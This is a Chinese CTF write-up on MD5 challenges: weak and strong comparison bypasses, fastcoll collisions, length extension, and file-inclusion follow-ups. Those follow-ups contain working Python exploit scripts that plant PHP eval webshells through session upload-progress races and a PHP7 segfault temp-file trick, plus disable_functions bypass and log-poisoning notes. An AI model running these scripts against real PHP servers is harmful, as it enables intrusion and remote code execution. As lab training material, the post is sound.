CTF题型 md5考法例题汇总

news/2024/5/19 21:05:09 标签: 网络安全, web安全, 安全, 笔记, CTF, Web, MD5

CTF_md5_0">CTF题型 md5考法相关例题总结

文章目录

  • CTF题型 md5考法相关例题总结
    • 一.md5弱字符相等(==)
      • [SWPUCTF 2021 新生赛]easy_md5
    • 二.md5强字符相等(===)
      • 1)文件相等
      • [2024 qsnctf 擂台赛 easy_md5]
      • 2)字符相等
      • [安洵杯 2019]easy_web
    • 三.md5哈希长度扩展攻击
      • [NPUCTF2020]ezinclude
      • 文件包含利用
        • 1.session文件包含
        • 2.php7 segment fault特性（段错误）
        • 3.包含日志文件(Fail)

一.md5弱字符相等(==)

CTF_2021_easy_md5_5">[SWPUCTF 2021 新生赛]easy_md5

例题 https://www.nssctf.cn/problem/386

关键代码就一行 if ($name != $password && md5($name) == md5($password))

保证 值不相等 而且 md5 值 弱比较相等

因为 md5(数组)将返回 Null

弱比较 进行了类型转换

image-20240319201630120

二.md5强字符相等(===)

1)文件相等

[2024 qsnctf 擂台赛 easy_md5]

有 https://www.qsnctf.com/#/main/driving-range

题目名 :easy_md5

传两个相同的pdf文件

保证md5的值强相等 强相等不会进行自动类型转换 此时不能输入数组了，只能输入字符串

工具：fastcoll 生成md5强相等的字符串

下载地址；http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

image-20240319202610313

可以指定前缀（有些题需要特定前缀）

这里我们新建一个pdf文件

fastcoll_v1.0.0.5.exe test.pdf -o 1.pdf 2.pdf

image-20240319202759911

上传相同两个md5文件

image-20240319203007168

直接拿flag

2)字符相等

[安洵杯 2019]easy_web

题目环境：https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_web

image-20240319203238679

暗示题目和md5有关

image-20240319203612788

开题传了一个img参数

直接传赛博厨子

image-20240319203806837

发现经过两次base64解码和hex解码后得到 图片名

猜测是任意文件读取

尝试读取index.php 同样的操作后 得到结果TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

image-20240319204108827

image-20240319204303087

得到base64内容解码后

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

成了一道命令执行的题

绕过

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)

禁止了很多读取文件的命令 ，以及一些符号

就是不禁 /

用 base64 读文件即可

base64 /flag

前面我们用fastcoll生成 md5强相等的文件

在用一个脚本转换为字符即可（根据实际情况改文件名）

<?php 
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
echo("当前工作目录：".getcwd()."\n");
$a = urlencode(readmyfile(getcwd().'\1.txt'));
$b = urlencode(readmyfile(getcwd().'\2.txt'));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
echo "\n";
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}

生成文件fastcoll_v1.0.0.5.exe test.txt -o 1.txt 2.txt

通过文件生成两段相同 md5的字符串

image-20240319210928280

%01%BE%A5%8B%7F%C5%2A%3D%E3%9D.%3B%19%0B%A1%1C%A8%AD%03%10%959%8E%2A%3F%AE%83rK%AC%0CE%D4%B9%F9%F2%EEv%E6%D2%EBon%DB%CA%7FPB%3DWP%19%9D%14%5E7c%81%C7%A7%1A%A6%1D%F0%9D%AF.P%D9%2C-%93%ED%01%E4d%B2q%ED%A1%29%F5%84M%16%CB%A7.%7C%15%B4%CF%5B%8C%CDA6%CC%C0%8D%86%0B%7B%F6%1A%96%E7%F0%93j%EFH%82%9F4%0F%5E%91dY%CA%87%DA%FF%D7%E6%11%D3

%01%BE%A5%8B%7F%C5%2A%3D%E3%9D.%3B%19%0B%A1%1C%A8%AD%03%90%959%8E%2A%3F%AE%83rK%AC%0CE%D4%B9%F9%F2%EEv%E6%D2%EBon%DB%CA%FFPB%3DWP%19%9D%14%5E7c%81%C7%27%1A%A6%1D%F0%9D%AF.P%D9%2C-%93%ED%01%E4d%B2q%ED%A1%29%F5%84%CD%16%CB%A7.%7C%15%B4%CF%5B%8C%CDA6%CC%C0%8D%86%0B%7B%F6%1A%96%E7%F0%93%EA%EEH%82%9F4%0F%5E%91dY%CA%87%DA%7F%D7%E6%11%D3

image-20240319211346268

可以成功执行命令

base64 /flag 特殊字符 urlencode一下

image-20240319211446184

可以拿到flag

我看网上都是 用 \ 拼接绕过的（代表命令的续接）

image-20240319211807231

但是不是禁了 \ 吗 https://hiregex.com/

image-20240319212050105

可能非预期了哈哈

三.md5哈希长度扩展攻击

特征；md5(密文+“已知的字符串”)===已知的md5值

求密文的值

就可以判断这题考md5哈希长度扩展攻击

懒鬼专用工具：https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file

傻瓜式操作+汉化 密钥长度要自己尝试

CTF2020ezinclude_203">[NPUCTF2020]ezinclude

题目环境：https://buuoj.cn/challenges#[NPUCTF2020]ezinclude

image-20240319215659508

name pass为空时返回hash （md5的形式）

<!--md5($secret.$name)===$pass -->

说明返回的hash就是 pass的值

居然可以直接传递pass=hash的值 绕过

image-20240319215732707

image-20240319215901607

感觉非预期 烂了 这道题好像和md5哈希长度扩展攻击 关系不大…哈哈哈哈

访问 flflflflag.php 出题人有点阴险 故意做了一个重定向

image-20240319220825635

变成一个文件包含的问题 包含/etc/passwd 可以正常包含

image-20240319221232434

用伪协议直接包含/flag 无回显

看看 flflflflag.php 源码

?file=php://filter/convert.base64-encode/resource=flflflflag.php

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

文件包含利用

续接上题 文件包含利用

1.session文件包含

利用session.upload_progress

可控sess临时文件名 进行条件竞争 实现在 sess文件被自动清理之前被执行

payload

import io
import sys
import requests
import threading

host = 'http://a407b462-0749-4249-a31f-817881e6edfd.node5.buuoj.cn:81/flflflflag.php'
sessid = 'test'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('1.php','w'),'<?php eval($_POST[1])?>');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'php.net' not in response.text: #代表未成功写入
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

退出后访问1.php

image-20240320004745122

可以在环境变量中找到flag

2.php7 segment fault特性（段错误）

php7 segment fault特性：当PHP异常退出时，POST的临时文件会被保留（无论网站是不是在POST方法里接收了文件，只要传了就会被当成临时文件保留）

保存在 /tmp目录

利用条件：

php7.0.0-7.1.2可以利用， 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用， 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用， 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名

image-20240319225446509

php环境可以利用

常用崩溃payloadphp://filter/string.strip_tags/resource=/etc/passwd"

看网上都是通过dirsearch发现dir.php 文件
在这里插入图片描述

?file=php://filter/convert.base64-encode/resource=dir.php

读取源码

<?php
var_dump(scandir('/tmp'));
?>

发现扫描了 /tmp目录 可以拿/tmp目录的文件名

结合php7 segment fault特性

利用脚本

import requests
from io import BytesIO
url="http://d1fdd60d-2b91-4eec-b515-b332b741eac1.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php eval($_POST[1]);?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

image-20240319225748383

页面崩溃 一切顺利

访问dir.php

image-20240319225844880

可以拿到文件名 php2Bhnht

包含 php奔溃文件 echo(123)可以回显

image-20240319230341463

查看 phpinfo();

image-20240319230943658

发现flag在环境变量里

image-20240319232912362

发现开启了disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir

禁用了许多系统函数 尝试绕过disable_functions

直接丢给蚁剑 用蚁剑终端

返回ret=127 说明disable_functions生效

image-20240319231602457

用蚁剑的插件绕过

image-20240319231410135

发现flag在环境变量里

image-20240319232756099

3.包含日志文件(Fail)

一般日志位置：

nginx : /var/log/nginx/access.log

apache2: /var/log/apache2/access.log

image-20240320001218824

没有进行记录，不可利用

换种思路 利用当前程序的环境变量

用虚拟文件系统…/…/…/…/proc/self/environ

HTTP_User_Agent塞php脚本

读不到/proc/self/environ 也不行

可能也可以用php filter chain 直接rce 绕过

之后有空写个文件包含专题吧


http://www.niftyadmin.cn/n/5445249.html

相关文章

ChatGPTGPT4科研应用、数据分析与机器学习、论文高效写作、AI绘图技术教程

ChatGPTGPT4科研应用、数据分析与机器学习、论文高效写作、AI绘图技术教程

原文链接&#xff1a;ChatGPTGPT4科研应用、数据分析与机器学习、论文高效写作、AI绘图技术教程https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247598506&idx2&sn14f96667bfbeba5f51366a1f019e3d64&chksmfa82004dcdf5895bba2784ba10f6715f6f5e4c59c9b1…
阅读更多...
有了gitlab runner，可以不用Jenkins，maven吗

有了gitlab runner，可以不用Jenkins，maven吗

一.可以不使用 Jenkins。GitLab Runner 是 GitLab CI/CD 的一部分，是一个开源项目，用于运行你的作业并发送结果回 GitLab，它是 GitLab CI/CD 的执行组件。 GitLab Runner 可以与 GitLab CI/CD 无缝集成，提供了一个强大的、与 GitLab CI/CD 管道紧密集成的持续集成和部署(C…
阅读更多...
【大模型学习记录】db-gpt源码安装问题汇总

【大模型学习记录】db-gpt源码安装问题汇总

1、首次源码安装时安装的其实dbgpt到conda环境中&#xff0c;会将路径一起安装。 如果有其他的路径使用同样的conda环境会报错&#xff0c;一直读取的就是原先的路径的内容。需要自己新创建一个conda env 2、界面中配置知识库问答时&#xff0c;报错 # 1、报的错如下&#x…
阅读更多...
OpenCV自带颜色表

OpenCV自带颜色表

//图片路径QString appPath QCoreApplication::applicationDirPath();imagePath appPath "/A.jpg";//读取图像img cv::imread(imagePath.toStdString());if (img.empty())return;cv::namedWindow("input", cv::WINDOW_AUTOSIZE);cv::Mat dst;int color…
阅读更多...
环信新版单群聊UIKit集成指南——Android篇

环信新版单群聊UIKit集成指南——Android篇

前言 环信新版UIKit已重磅发布&#xff01;目前包含单群聊UIKit、聊天室ChatroomUIKit&#xff0c;本文详细讲解Android端单群聊UIKit的集成教程。 环信单群聊 UIKit 是基于环信即时通讯云 IM SDK 开发的一款即时通讯 UI 组件库&#xff0c;提供各种组件实现会话列表、聊天界…
阅读更多...
nginx有哪些安装方法

nginx有哪些安装方法

Nginx 有多种安装方法&#xff0c;适用于不同的操作系统和使用场景。以下是几种常见的安装方式&#xff1a; 通过官方源码编译安装&#xff1a; 从Nginx官网下载源代码包。解压缩并进入源码目录。安装编译所需的依赖包&#xff0c;如pcre、zlib、openssl等。运行./configure配置…
阅读更多...
比一比gitee、gitlab、github

比一比gitee、gitlab、github

gitee、gitlab、github&#xff0c;哪个是目前国内大型公司使用最多的呢&#xff1f;共同点&#xff1a;三者都是基于git的代码托管工具&#xff0c;都支持版本管理。 gitee&#xff1a;适合国内开发者&#xff0c;更友好的本地化服务&#xff0c;形成了一个适合中国宝宝学习的…
阅读更多...
Kotlin 中的惰性集合

Kotlin 中的惰性集合

1 通过序列提高效率 首先看以下代码&#xff1a; val list listOf(1, 2, 3, 4, 5) list.filter { it > 2 }.map { it * 2 }上面的写法很简单&#xff0c;在处理集合时&#xff0c;类似于上面的操作能帮我们解决大部分的问题。但是&#xff0c;当 list 中的元素非常多的时…
阅读更多...
最新文章

Copyright @ 2022~2023